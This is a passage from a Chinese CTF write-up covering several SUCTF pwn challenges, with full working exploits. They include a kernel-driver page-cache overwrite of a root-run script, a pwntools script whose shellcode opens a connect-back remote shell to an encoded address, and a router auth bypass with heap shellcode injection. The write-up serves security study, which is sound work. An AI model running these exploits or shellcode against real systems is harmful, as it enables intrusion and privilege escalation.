  5. 创建视图并写入恶意代码
    • 构造恶意 Shell 脚本代码(如 #!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag\n)。
    • 调用 ioctl(dev_fd, 4101)ioctl(dev_fd, 4104),利用内核模块提供的 memcpyset_page_dirty(),将恶意代码强制写入 /tmp/job 的页缓存中。

exp

#include "kernelpwn.h"
// --- IOCTL Macros ---
#define CHRONOS_ALLOC       4097
#define CHRONOS_AUTH        4098
#define CHRONOS_PIN_PAGE    4099
#define CHRONOS_FILE_CACHE  4100  
#define CHRONOS_CREATE_VIEW 4101  
#define CHRONOS_FREE_CACHE  4102
#define CHRONOS_WRITE_BUF   4103
#define CHRONOS_SYNC_VIEW   4104
#define CHRONOS_INFO_LEAK   4105
#define CHRONOS_DESTROY     4106

struct arg_4098 {
    uint64_t src;
    uint64_t v61;
};
int seq_fd[0x20];

struct arg_sync {
    uint64_t dummy;   // 占位
    uint32_t size;    // 拷贝大小
    uint32_t offset;  // 内存偏移
};

void bypass_kaslr_check(int fd) {
    uint64_t target = 0xF372FE94F82B3C6EULL;
    int success = 0;
    
    printf("[*] Starting KASLR magic check brute-force...\n");
    for (int i = 0; i < 2048; i++) {
        uint64_t base_2mb = 0xffffffff80000000ULL + ((uint64_t)i * 0x200000ULL);
        uint64_t k = (base_2mb >> 4) & 0xFFFFFFFFFFFE0000ULL;
        
        struct arg_4098 payload = {0};
        payload.v61 = 0;               
        payload.src = target ^ k;      
        
        if (ioctl(fd, CHRONOS_AUTH, &payload) == 0) {
            printf("[+] KASLR bypassed successfully!\n");
            printf("[+] Discovered kernel text 2MB base: 0x%lx\n", base_2mb);
            success = 1;
            break;
        }
    }
    if (!success) {
        printf("[-] Failed to bypass KASLR check.\n");
        exit(-1);
    }
}

void exploit()
{
    int target_fd, job_fd;
    char *p;

    target_fd = open("/dev/chronos_ring", O_RDWR);
    job_fd = open("/tmp/job", O_RDONLY);
    if (target_fd < 0 || job_fd < 0) {
        perror("[-] open failed");
        exit(-1);
    }

    printf("[*] Allocating kernel buffer...\n");
    if (ioctl(target_fd, CHRONOS_ALLOC, 0) < 0) {
        perror("[-] ioctl alloc");
        exit(-1);
    }

    bypass_kaslr_check(target_fd);

    printf("[*] Mapping physical page to user space...\n");
    p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, target_fd, 0);
    if (p == MAP_FAILED) {
        perror("[-] mmap failed");
        exit(-1);
    }

    const char* payload = "#!/bin/sh\ncat /flag > /tmp/flag\nchmod 777 /tmp/flag\n";
    strcpy(p, payload);
    uint32_t payload_len = strlen(payload);
    printf("[+] Wrote payload to mapped region.\n");

    printf("[*] Binding /tmp/job page cache...\n");
    uint64_t fd_arg = job_fd;
    if (ioctl(target_fd, CHRONOS_FILE_CACHE, &fd_arg) < 0) {
        perror("[-] ioctl file cache");
        exit(-1);
    }

    printf("[*] Pinning dummy user page to satisfy View checks...\n");
    void *dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    uint64_t dummy_arg = (uint64_t)dummy_page;
    if (ioctl(target_fd, CHRONOS_PIN_PAGE, &dummy_arg) < 0) {
        perror("[-] ioctl pin page");
        exit(-1);
    }

    printf("[*] Creating View...\n");
    if (ioctl(target_fd, CHRONOS_CREATE_VIEW, 0) < 0) {
        perror("[-] ioctl create view");
        exit(-1);
    }

    printf("[*] Syncing payload to /tmp/job cache...\n");
    struct arg_sync sync_payload = {0};
    sync_payload.size = payload_len;
    sync_payload.offset = 0;
    
    if (ioctl(target_fd, CHRONOS_SYNC_VIEW, &sync_payload) < 0) {
        perror("[-] ioctl sync view");
        exit(-1);
    }

    printf("[+] Overwrite successful! Waiting for root helper loop (max 4 seconds)...\n");

    for (int i = 0; i < 5; i++) {
        sleep(1);
        int flag_fd = open("/tmp/flag", O_RDONLY);
        if (flag_fd >= 0) {
            char flag_buf[256] = {0};
            read(flag_fd, flag_buf, sizeof(flag_buf) - 1);
            printf("\n[+++++++++++++++ FLAG +++++++++++++++]\n");
            printf("%s", flag_buf);
            printf("[++++++++++++++++++++++++++++++++++++]\n");
            close(flag_fd);
            exit(0);
        }
        printf(".");
        fflush(stdout);
    }

    printf("\n[-] Timeout. Something went wrong...\n");
}

int main()
{
    exploit();
    return 0;
}

SU_evbuffer

0x13A4 处的函数 send_data_with_hostname 的 recv_len 用户可控,a1 参数是 &unk_4078,当 recv_len 很大时将导致全局变量溢出。

// 0x13A4
unsigned __int64 __fastcall send_data_with_hostname(__int64 a1, _BYTE *a2, int recv_len, const struct sockaddr *a4)
{
  ...
  v14 = __readfsqword(0x28u);
  if ( recv_len > 0 )
  {
    a2[recv_len] = 0;
    s = malloc(0x50uLL);
    if ( s )
    {
      memset(s, 0, 0x50uLL);
      if ( inet_pton(2, a2, (char *)s + 4) )
      {
        ...
        memcpy((void *)a1, a2, recv_len);
    ...
}

利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

host = '101.245.104.190'
tcp_port = 10003
udp_port = 10013

sh = remote(host, tcp_port)
sh.send(b'127.0.0.1\0')
response = sh.recvn(0x50)
sh.close()
libevent = u64(response[0x48:0x48+8]) - 0x13b1a
success('libevent: ' + hex(libevent))
libc = libevent - 0x249000
success('libc: ' + hex(libc))

sh = remote(host, udp_port, typ="udp")
sh.send(b'127.0.0.1\0')
response = sh.recvn(0x50)
sh.close()

stack_addr = u64(response[0x40:0x40+8]) - 0x3e0
success('stack_addr: ' + hex(stack_addr))

if (libevent & (0xfff)) != 0:
    raise EOFError

sh = remote(host, tcp_port)
sh.send(b'127.0.0.1\0' + cyclic(0x2e-0x18) + p64(1) + p64(stack_addr-0x118 + 8) + flat(
{
    0x0:p64(0),
    0x8:p64(stack_addr),
    0x10:p64(stack_addr),
    0x30:p64(0),
    0x68:p64(stack_addr&(~0xfff)),
    0x70:p64(0x1000),
    0x78:p64(stack_addr+0x100),
    0x88:p64(7),
    0xa0:p64(stack_addr+0x1d0),
    0xa8:p64(libc+0x11eb20),
    0xe0:p64(stack_addr),
    0x100:p64(stack_addr+0x100),
    0x100+0x10:p64(libc + 0x539e0),
    0x100+0x20:p64(1),
    0x1c0:b'\0' * 0x10,
    0x1d0:p64(stack_addr+0x1f0),
    0x1f0:asm(
'''
    ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    xor esi, esi
    mul rsi
    inc esi
    mov edi, esi
    inc edi
    mov al, 41 ;// SYS_socket
    syscall

    ;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
    mov edi, eax
    mov rbx, 0x9f0ca208c9ea0002 ;// IP address + Port + Protocol
    push rbx
    mov rsi, rsp
    mov dl, 16
    mov al, 42 ;// SYS_connect
    syscall

    ;// dup2(soc, 0)
    xor esi, esi
    mov al, 33 ;// SYS_dup2
    syscall

    ;// dup2(soc, 1)
    inc esi
    mov al, 33 ;// SYS_dup2
    syscall

    ;// dup2(soc, 2)
    inc esi
    mov al, 33 ;// SYS_dup2
    syscall

    
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
'''),
},filler=b'\0'))

sh.close()

# flag{80e59f78-d2a3-4e6a-bbbf-8027d25c2b9b}

SU_EzRouter

打开环境发现是 路由器后台管理系统http服务

卡在登录界面,常规弱口令爆了一圈没出来,这个时候看网络请求

如果把auth=0改成auth=1就能绕过认证。

进入后台后可以下载固件。

其中有一个 http 文件,这个文件就是http服务的文件。 handle_cgi 函数中,如果访问路径是 /cgi-bin/...便会运行相应文件。

if ( !strncmp(dest, "/cgi-bin", 8u) )
  {
    p__ = v65;
    if ( !v65[0] )
      p__ = "/";
  }
  if ( (unsigned int)safe_path("./www/cgi-bin", p__, file, 0x1000u) )
  {
    if ( !stat(file, &buf) && (buf.st_mode & 0x40) != 0 )
    {
      *(_QWORD *)nptr = 48;
      ..............
     
      if ( pipe(pipedes) >= 0 )
      {
        pid = fork();
        if ( !pid )
        {
          close(pipedes[1]);
          dup2(pipedes[0], 0);
          dup2(fd, 1);
          snprintf(s, 0x80u, "REQUEST_METHOD=%s", s1);
          snprintf(s_, 0x80u, "CONTENT_LENGTH=%d", v9);
          ..............
          
          envp[0] = s;
          envp[1] = s_;
          ..............
          
          execve(file, argv, envp);
          exit(1);
        }

在cgi文件中查看,大部分文件最后会调用CFG_SET函数,mainproc文件中存在CFG_GET函数,推断这两个函数是用来进程间信息传递的。

经分析后发现,CFG_SET(__int64 a1, char *p_s, __int64 n)a1为操作码,p_s为传输字符串,n代表长度,CFG_GET函数会收到n+0xc长度的数据,第1-8位为操作码,9-12位为长度,后面的内容才是p_s字符串的内容。

观察mainproc文件

_init_array中存在make_heap_executable函数

unsigned __int64 make_heap_executable()
{
  unsigned __int64 ptr; // [rsp+8h] [rbp-28h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ptr = (unsigned __int64)malloc(0xF000u);
  sbrk(0);
  mprotect((void *)(ptr & 0xFFFFFFFFFFFFF000LL), 0x21000u, 7);
  free((void *)ptr);
  return v2 - __readfsqword(0x28u);
}

发现把堆空间设置成了可执行,那就可以合理推测mainproc就是真正触发漏洞利用的地方。

在函数Set_VPN中和Apply_VPN函数中分别定义和调用了函数指针

/* set_vpn */
*(_QWORD *)(::vpn_list + 16) = default_vpn_apply;

/* apply_vpn */
(*(void (__fastcall **)(__int64))(vpn_list + 16))(vpn_list);

推测如果我们能劫持这个函数指针,便可以实现劫持程序流,加上在堆上写shellcode,如果程序流能跳转到堆上便可以执行写好的shellcode。

SET_VPN函数中调用了strcpy函数

strcpy((char *)(::vpn_list + 0xC8), (const char *)(p_s + 0xBC));

偏移位置为0xE8为custom字段的堆地址,并且能通过Edit_VPN_Custom修改该地址内的内容,推测strcpy函数可能会溢出修改其地址指针使其指向(vpn_list + 16)处的函数指针,然后通过Edit_VPN_Custom就能修改函数指针。

观察vpn.cgi文件

extract_json_string((const char *)ptr, "pass", &s[0xB0], 0x20u);
extract_json_string((const char *)ptr, "cert", &s[0xD0], 8u);

会从把"pass"数据提取成字符串,但是长度有限制,0x20刚好溢出不了,观察extract_json_string发现,如果长度刚好达到极限并不会给结尾置零,所以能触发溢出。

但是因为地址不知道,我们只能将cert字段开头设置成\x00,即把custom字段的堆地址末尾置零,经过一定的风水(Add_MACSet_WIFI函数能创建堆块),便能使这个堆地址指向目标地址。

接下来便能劫持函数指针了,接下来因为没有程序运行基址,只能爆破低二字节1/16的概率(注意在Edit_VPN_Custom函数中使用的是memcpy函数,所以结尾不会置零)

Apply_VPN中将vpn_list作为参数传进去了,所以只要能有jmp rdijmp rax这种gadget,便能跳转到堆上的shellcode。

这里因为vpn_list前几字节是custom字段长度无法大量控制,所以控制custom字段长度为0x7eb(jmp $+9)跳转到vpn_list+9处即cert字段地址+1处(cert+0处设置为\x00,前文有说),后面再jmp一下到自己精心布置好的shellcode。

shellcode写的时候要看dockerfile文件(记录了文件的地址路径在哪),因为他不出网,我们只能将index.html修改成flag,这样访问index.html时能看到flag

注:因为要爆破,所以这个题cgi-bin文件里有一个restart.sh文件,访问这个路径便能重新启动mainproc程序。

Flag: SUCTF{ExCeED_4UThOR1Ty_W1tH_1pc}

Exp:

from pwn import *
import requests

context.arch = 'amd64'

session = None

def login():
    url = f"{session.base_url}/www/http?action=login&auth=1"
    session.get(url, allow_redirects=False)
    return session.cookies

def set_vpn(passwd, cert, custom):
    url = f"{session.base_url}/cgi-bin/vpn.cgi"
    payload = {
        "action": "set",
        "name": "0xa6",
        "proto": "abcd",
        "server": "1",
        "user": "0xa6",
        "pass": passwd,
        "cert": cert,
        "custom": custom
    }
    resp = session.post(url, json=payload)
    return resp.json()

def edit_vpn(custom_content):
    url = f"{session.base_url}/cgi-bin/vpn.cgi"
    payload = {
        "action": "edit",
        "custom": custom_content
    }
    resp = session.post(url, json=payload)
    return resp.json()

def apply_vpn():
    url = f"{session.base_url}/cgi-bin/vpn.cgi"
    payload = {
        "action": "apply"
    }
    resp = session.post(url, json=payload)
    return resp.json()

def wifi():
    url = f"{session.base_url}/cgi-bin/wifi.cgi"
    payload = {
        "action": "save",
        "ssid": "123",
        "password": "123321"
    }
    resp = session.post(url, data=payload)
    return resp.json()

def add(idx):
    url = f"{session.base_url}/cgi-bin/list.cgi"
    payload = {
        "action": "add_black",
        "idx": idx,
        "mac": "123",
        "note": "0xa8"
    }
    resp = session.post(url, data=payload)
    return resp.json()

def generate_shellcode():
    shellcode = shellcraft.open('/app/flag', 0)
    shellcode += 'mov r12, rax\n'
    flags = 0x41 | 0x200
    mode = 0o644
    shellcode += shellcraft.open('/app/www/index.html', flags, mode)
    shellcode += 'mov r13, rax\n'
    shellcode += 'mov dx, 0x210\n'
    shellcode += 'sub rsp, rdx\n'
    shellcode += shellcraft.read('r12', 'rsp', 'rdx')
    shellcode += shellcraft.write('r13', 'rsp', 'rax')
    shellcode = asm(shellcode)
    return shellcode

def exploit():
    global session
    
    session = requests.Session()
    session.base_url = "http://web-a23c8af4e7.adworld.xctf.org.cn:80"
    
    shellcode = generate_shellcode()
    escaped = ''.join(f'\\x{b:02x}' for b in shellcode)
    padding = "a" * (0x7eb - len(shellcode))
    payload = escaped + padding
    
    print(payload)
    
    print(login())
    print(wifi())
    print(add("0"))
    print(add("1"))
    print(add("2"))
    print(set_vpn("0" * 0x20, "\\x00\\xe9\\xf2", payload))
    print(edit_vpn("\\x30\\x53"))
    print(apply_vpn())

if __name__ == "__main__":
    exploit()

SU_Chronos_Ring

先看 init,很快就能发现 /tmp/job

解包以后最关键的逻辑是这段:

insmod /chronos_ring.ko
chmod 666 /dev/chronos_ring

echo "#!/bin/sh" > /tmp/job
echo "echo 'Root helper is running safely...'" >> /tmp/job
chmod 644 /tmp/job
(
    while true; do
        /bin/sh /tmp/job > /dev/null 2>&1
        sleep 3
    done
) &

这里直接就能确定目标了

  1. 普通用户能直接访问 /dev/chronos_ring。
  2. root 会每 3 秒执行一次 /tmp/job。
  3. /flag 权限很高,普通用户不能直接读。

所以这题最自然的目标就不是“搞一个复杂的内核 ROP”,而是:

想办法影响 /tmp/job

-> 让 root 帮忙读 flag 或放开权限

ioctl 梳理出来以后,利用方向就更明显了

题目把驱动接口梳理下来,大致如下:

This content is only supported in a Feishu Docs

看到 read_cache_page、view、再加上一个“把 buffer 拷到 view”的接口,其实已经差不多能猜到题目想让人做什么了:

把某个文件页挂到 view

-> 再把可控数据写回去

鉴权逻辑大致是:

ok = (((kfree >> 4) & 0xfffffffffffe0000ULL) ^ user_qword ^ user_dword) == 0xf372fe94f82b3c6eULL;

一开始看到这里,第一反应不是“完了,要泄漏内核地址”,而是先看它到底用了多少位。

结果发现:

  1. kfree 地址被右移、掩码,熵明显下降。
  2. 还有对齐,步长固定。
  3. 用户的低 32 位还能自己控。

所以最后做法很直接,就是枚举:

  1. seed = 0
  2. masked_kfree = 0xffffffff81000000 + n * 0x20000
  3. key = const ^ masked_kfree

这类“看起来像地址鉴权”的逻辑,如果只用了被掩码后的高位,实际上经常不难撞。

0x1008 的关键逻辑是:

memcpy(view->addr + off, buffer->addr + off, len);
if (view->kind == file_page)
    set_page_dirty(view->page);

这一步一旦和 0x1004 连起来,意思就非常明确了:

  1. 0x1004 把文件对应的 page cache 页挂进来。
  2. 0x1005 给当前 buffer 建一个 view,让后续拷贝有真正落点。
  3. 0x1008 把 ring buffer 内容复制到这个页。
  4. set_page_dirty 让内核认定这一页已经被修改。

也就是说,实际上拿到的是一个“改文件 page cache”的稳定原语。

这里还要补一嘴,0x1003 也不是摆设。它是整条 view 相关链上的一环,不是多余步骤。也就是说这题真正危险的地方,不在单个 ioctl,而在几个看起来都“很合法”的接口组合在一起以后,语义已经足够危险了。

逆向的时候还能发现,驱动不是任意文件都给绑,它会对文件名做校验。 这里允许的实际上就是 job,也就是题目作者明确希望你去碰 /tmp/job。

这也解释了为什么题目不是让你直接写 /flag:

  1. /flag 不让你动。
  2. /tmp/job 可以动。
  3. root helper 会主动执行 /tmp/job。

整个利用目标从这里开始就完全收敛了。

最后的流程就是:

  1. 0x1001 创建 buffer。
  2. 0x1002 爆破通过鉴权。
  3. 0x1007 往 buffer 里写 shell 脚本 payload。
  4. 0x1003 pin 一个用户页。
  5. 0x1004 绑定 /tmp/job 的第 0 页。
  6. 0x1005 创建 view。
  7. 0x1008 把 buffer 内容拷进这个 view,也就是改 /tmp/job 的 page cache。
  8. 等 root helper 执行这个脚本。
  9. 普通用户再去读 /flag。

题目实际写入的 payload 很简单:

#!/bin/sh
chmod 644 /flag

最终exp如下

#include <stdint.h>

#define AT_FDCWD -100

#define O_RDONLY 0
#define O_RDWR 2

#define SYS_read 0
#define SYS_write 1
#define SYS_close 3
#define SYS_ioctl 16
#define SYS_nanosleep 35
#define SYS_openat 257
#define SYS_exit 60

#define CHRONOS_CREATE 0x1001
#define CHRONOS_AUTH 0x1002
#define CHRONOS_PIN_USER 0x1003
#define CHRONOS_ATTACH_FILE 0x1004
#define CHRONOS_MAKE_VIEW 0x1005
#define CHRONOS_COPY_TO_VIEW 0x1008

struct timespec {
    int64_t tv_sec;
    int64_t tv_nsec;
};

struct auth_req {
    uint64_t key;
    uint32_t seed;
    uint32_t pad;
};

struct write_req {
    uint64_t user_buf;
    uint32_t len;
    uint32_t off;
};

struct attach_req {
    int32_t fd;
    uint32_t index;
};

struct copy_req {
    uint64_t pad;
    uint32_t len;
    uint32_t off;
};

static const uint64_t auth_const = 0xf372fe94f82b3c6eULL;
static const uint64_t auth_base = 0x0ffffffff8100000ULL;
static const uint64_t auth_step = 0x20000ULL;
static const uint64_t auth_tries = 0x2000ULL;

static const char dev_path[] = "/dev/chronos_ring";
static const char job_path[] = "/tmp/job";
static const char flag_path[] = "/flag";

static const char payload[] =
    "#!/bin/sh\n"
    "chmod 644 /flag\n"
    "#\n"
    "################################";

static char scratch[0x1000];

static inline long syscall0(long nr) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr)
        : "rcx", "r11", "memory");
    return ret;
}

static inline long syscall1(long nr, long a1) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1)
        : "rcx", "r11", "memory");
    return ret;
}

static inline long syscall2(long nr, long a1, long a2) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2)
        : "rcx", "r11", "memory");
    return ret;
}

static inline long syscall3(long nr, long a1, long a2, long a3) {
    long ret;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2), "d"(a3)
        : "rcx", "r11", "memory");
    return ret;
}

static inline long syscall4(long nr, long a1, long a2, long a3, long a4) {
    long ret;
    register long r10 __asm__("r10") = a4;

    __asm__ volatile(
        "syscall"
        : "=a"(ret)
        : "a"(nr), "D"(a1), "S"(a2), "d"(a3), "r"(r10)
        : "rcx", "r11", "memory");
    return ret;
}

static inline long openat(int dirfd, const char *path, int flags, int mode) {
    return syscall4(SYS_openat, dirfd, (long)path, flags, mode);
}

static inline long close_fd(int fd) {
    return syscall1(SYS_close, fd);
}

static inline long do_ioctl(int fd, unsigned long cmd, void *arg) {
    return syscall3(SYS_ioctl, fd, cmd, (long)arg);
}

static inline long read_fd(int fd, void *buf, unsigned long len) {
    return syscall3(SYS_read, fd, (long)buf, len);
}

static inline long write_fd(int fd, const void *buf, unsigned long len) {
    return syscall3(SYS_write, fd, (long)buf, len);
}

static inline void sleep_secs(long secs) {
    struct timespec ts;

    ts.tv_sec = secs;
    ts.tv_nsec = 0;
    syscall2(SYS_nanosleep, (long)&ts, 0);
}

static inline void exit_now(int code) {
    syscall1(SYS_exit, code);
    __builtin_unreachable();
}

static unsigned long str_len(const char *s) {
    unsigned long n = 0;

    while (s[n]) {
        ++n;
    }
    return n;
}

static void write_str(int fd, const char *s) {
    write_fd(fd, s, str_len(s));
}

static void write_flag(void) {
    char buf[128];
    long fd;
    long n;
    int tries;

    for (tries = 0; tries < 8; ++tries) {
        fd = openat(AT_FDCWD, flag_path, O_RDONLY, 0);
        if (fd >= 0) {
            n = read_fd((int)fd, buf, sizeof(buf));
            if (n > 0) {
                write_fd(1, buf, (unsigned long)n);
                write_fd(1, "\n", 1);
                close_fd((int)fd);
                exit_now(0);
            }
            close_fd((int)fd);
        }
        sleep_secs(1);
    }

    write_str(2, "failed to read /flag\n");
    exit_now(1);
}

static void auth_ring(int fd) {
    uint64_t i;

    for (i = 0; i < auth_tries; ++i) {
        struct auth_req req;

        req.key = auth_const ^ (auth_base + i * auth_step);
        req.seed = 0;
        req.pad = 0;
        if (do_ioctl(fd, CHRONOS_AUTH, &req) == 0) {
            return;
        }
    }

    write_str(2, "auth failed\n");
    exit_now(1);
}

static void fill_payload(int fd) {
    struct write_req req;

    req.user_buf = (uint64_t)(uintptr_t)payload;
    req.len = (uint32_t)(sizeof(payload) - 1);
    req.off = 0;
    if (do_ioctl(fd, 0x1007, &req) != 0) {
        write_str(2, "write failed\n");
        exit_now(1);
    }
}

static void pin_page(int fd) {
    void *ptr = scratch;

    if (do_ioctl(fd, CHRONOS_PIN_USER, &ptr) != 0) {
        write_str(2, "pin failed\n");
        exit_now(1);
    }
}

static void attach_job(int fd) {
    struct attach_req req;
    long jobfd = openat(AT_FDCWD, job_path, O_RDONLY, 0);

    if (jobfd < 0) {
        write_str(2, "open job failed\n");
        exit_now(1);
    }

    req.fd = (int32_t)jobfd;
    req.index = 0;
    if (do_ioctl(fd, CHRONOS_ATTACH_FILE, &req) != 0) {
        write_str(2, "attach failed\n");
        exit_now(1);
    }
    close_fd((int)jobfd);
}

static void write_view(int fd) {
    struct copy_req req;

    req.pad = 0;
    req.len = (uint32_t)(sizeof(payload) - 1);
    req.off = 0;
    if (do_ioctl(fd, CHRONOS_COPY_TO_VIEW, &req) != 0) {
        write_str(2, "copy failed\n");
        exit_now(1);
    }
}

void _start(void) {
    long fd = openat(AT_FDCWD, dev_path, O_RDWR, 0);

    if (fd < 0) {
        write_str(2, "open dev failed\n");
        exit_now(1);
    }

    if (do_ioctl((int)fd, CHRONOS_CREATE, 0) != 0) {
        write_str(2, "create failed\n");
        exit_now(1);
    }

    auth_ring((int)fd);
    fill_payload((int)fd);
    pin_page((int)fd);
    attach_job((int)fd);
    if (do_ioctl((int)fd, CHRONOS_MAKE_VIEW, 0) != 0) {
        write_str(2, "make_view failed\n");
        exit_now(1);
    }
    write_view((int)fd);
    close_fd((int)fd);

    sleep_secs(4);
    write_flag();
}

SU_BOX

题目概述

这题表面上看是 Java,但拿到以后很快就能判断它的重心不在 Java 逻辑上,而在 J2V8 这个运行时。

我们这里没有和常规的 v8 调试一样(调试 libj2v8-linux-x86_64.so),因为给了 app,所以我们修改了 app 使其具有打印地址的能力:

gdb --args java -cp /app/classes:/app/lib/linux-x86_64.jar DebugApp

这样启动,最后确认窗口位置的可以通过 gdb 去进行确认。

可以去这样断点看一下这个题目的执行链:

break Java_com_eclipsesource_v8_V8__1executeScript
break Java_com_eclipsesource_v8_V8__1createV8ArrayBufferBackingStore
break Java_com_eclipsesource_v8_V8__1initNewV8ArrayBuffer__JI
break Java_com_eclipsesource_v8_V8__1executeFunction__JJJJ

分析主程序

题目给了 App.javalinux-x86_64.jar,主程序几乎就是把 stdin 里的 JavaScript 读出来,然后交给 V8 执行:

// 从标准输入读取用户输入的脚本内容
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
StringBuilder script = new StringBuilder();
String line;

// 持续按行读取输入
while ((line = reader.readLine()) != null) {
    // 如果读到 EOF 这一行,就停止读取
    if ("EOF".equals(line)) break;

    // 限制脚本总大小,防止输入过大
    if (script.length() + line.length() > MAX_SCRIPT_SIZE) {
        System.out.println("Error: script too large (max 1MB)");
        return;
    }

    // 把当前行追加到脚本内容里,并补一个换行
    script.append(line).append("\n");
}

// 创建一个 V8 JavaScript 运行时环境
V8 v8 = V8.createV8Runtime();

// 向 JS 环境注册一个名为 log 的 Java 方法
// 这样 JS 代码里就可以调用 log(...),实际会执行这里的 Java 回调
v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
    // 如果传入了参数,就打印第一个参数
    if (params.length() > 0) {
        System.out.println(params.get(0).toString());
        System.out.flush();
    }
}, "log");

// 执行前面拼接好的 JS 脚本,并拿到执行结果
Object result = v8.executeScript(script.toString());

构建调试版 App

我们可以看到上述这个 app 功能很简略,我们可以重新改一下这个 app,使其具有调试的功能。

修改之后的完整的源码如下(需要同时修改 Dockerfile 和 sh 文件):

import com.eclipsesource.v8.*;
import sun.misc.Unsafe;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.Locale;

public class DebugApp {
    private static final int MAX_SCRIPT_SIZE = 1048576;
    private static final Unsafe UNSAFE = getUnsafe();

    public static void main(String[] args) throws Exception {
        System.out.println("  ____  _   _ ____            ");
        System.out.println(" / || | | | __ )  _____  ");
        System.out.println(" \\ \\| | | |  _ \\ / _ \\ \\/ /");
        System.out.println("  ) | || | |) | () >  < ");
        System.out.println(" |/ \\/|/ \\/_/\\_\\");
        System.out.println();
        System.out.println("Debug script box. Enter JavaScript below.");
        System.out.println("End your input with 'EOF' on a new line.");
        System.out.println("Available helpers: log, addr, read64, read32, dump, write64, jgc");
        System.out.flush();

        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
        StringBuilder script = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            if ("EOF".equals(line)) {
                break;
            }
            if (script.length() + line.length() > MAX_SCRIPT_SIZE) {
                System.out.println("Error: script too large (max 1MB)");
                return;
            }
            script.append(line).append("\n");
        }

        if (script.isEmpty()) {
            System.out.println("Error: empty script");
            return;
        }

        System.out.println("[*] Executing...");
        System.out.flush();

        V8 v8 = V8.createV8Runtime();

        v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
            if (params.length() > 0) {
                System.out.println(params.get(0).toString());
                System.out.flush();
            }
        }, "log");

        v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
            Object obj = params.get(0);
            return hex(nativeHandleOf(obj));
        }, "addr");

        v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
            long addr = parseAddr(params.get(0).toString());
            return hex(UNSAFE.getLong(addr));
        }, "read64");

        v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
            long addr = parseAddr(params.get(0).toString());
            long value = Integer.toUnsignedLong(UNSAFE.getInt(addr));
            return hex(value);
        }, "read32");

        v8.registerJavaMethod((JavaCallback) (receiver, params) -> {
            long addr = parseAddr(params.get(0).toString());
            int size = params.length() > 1 ? parseSize(params.get(1).toString()) : 0x80;
            return dump(addr, size);
        }, "dump");

        v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
            long addr = parseAddr(params.get(0).toString());
            long value = parseAddr(params.get(1).toString());
            UNSAFE.putLong(addr, value);
        }, "write64");

        v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
            System.gc();
            System.runFinalization();
        }, "jgc");

        try {
            Object result = v8.executeScript(script.toString());
            if (result instanceof V8Object) {
                ((V8Object) result).release();
            }
        } catch (Throwable t) {
            System.out.println("Error: " + t);
            t.printStackTrace(System.out);
        } finally {
            if (!v8.isReleased()) {
                v8.release();
            }
        }
    }

    private static Unsafe getUnsafe() {
        try {
            Field f = Unsafe.class.getDeclaredField("theUnsafe");
            f.setAccessible(true);
            return (Unsafe) f.get(null);
        } catch (Exception e) {
            throw new RuntimeException("failed to get Unsafe", e);
        }
    }

    private static long nativeHandleOf(Object obj) {
        if (!(obj instanceof V8Value)) {
            throw new IllegalArgumentException("addr() expects a V8 object/value");
        }
        try {
            Field f = V8Value.class.getDeclaredField("objectHandle");
            f.setAccessible(true);
            return f.getLong(obj);
        } catch (Exception e) {
            throw new RuntimeException("failed to read V8Value.objectHandle", e);
        }
    }

    private static long parseAddr(String text) {
        String s = text.trim().toLowerCase(Locale.ROOT);
        if (s.startsWith("0x")) {
            s = s.substring(2);
        }
        if (s.isEmpty()) {
            return 0L;
        }
        return Long.parseUnsignedLong(s, 16);
    }

    private static int parseSize(String text) {
        String s = text.trim().toLowerCase(Locale.ROOT);
        if (s.startsWith("0x")) {
            return Integer.parseUnsignedInt(s.substring(2), 16);
        }
        return Integer.parseInt(s);
    }

    private static String hex(long value) {
        return "0x" + Long.toUnsignedString(value, 16);
    }

    private static String dump(long addr, int size) {
        StringBuilder sb = new StringBuilder();
        for (int off = 0; off < size; off += 16) {
            sb.append(hex(addr + off)).append(": ");
            for (int i = 0; i < 16 && off + i < size; i++) {
                int b = UNSAFE.getByte(addr + off + i) & 0xff;
                if (i != 0) {
                    sb.append(' ');
                }
                if (b < 0x10) {
                    sb.append('0');
                }
                sb.append(Integer.toHexString(b));
            }
            if (off + 16 < size) {
                sb.append('\n');
            }
        }
        return sb.toString();
    }
}

验证调试能力

这里我们就有了在脚本中打印我们想要的内容的能力了。

经过修改之后我们可以打印地址:

@'
let o = {};
log("addr(o)=" + addr(o));
EOF
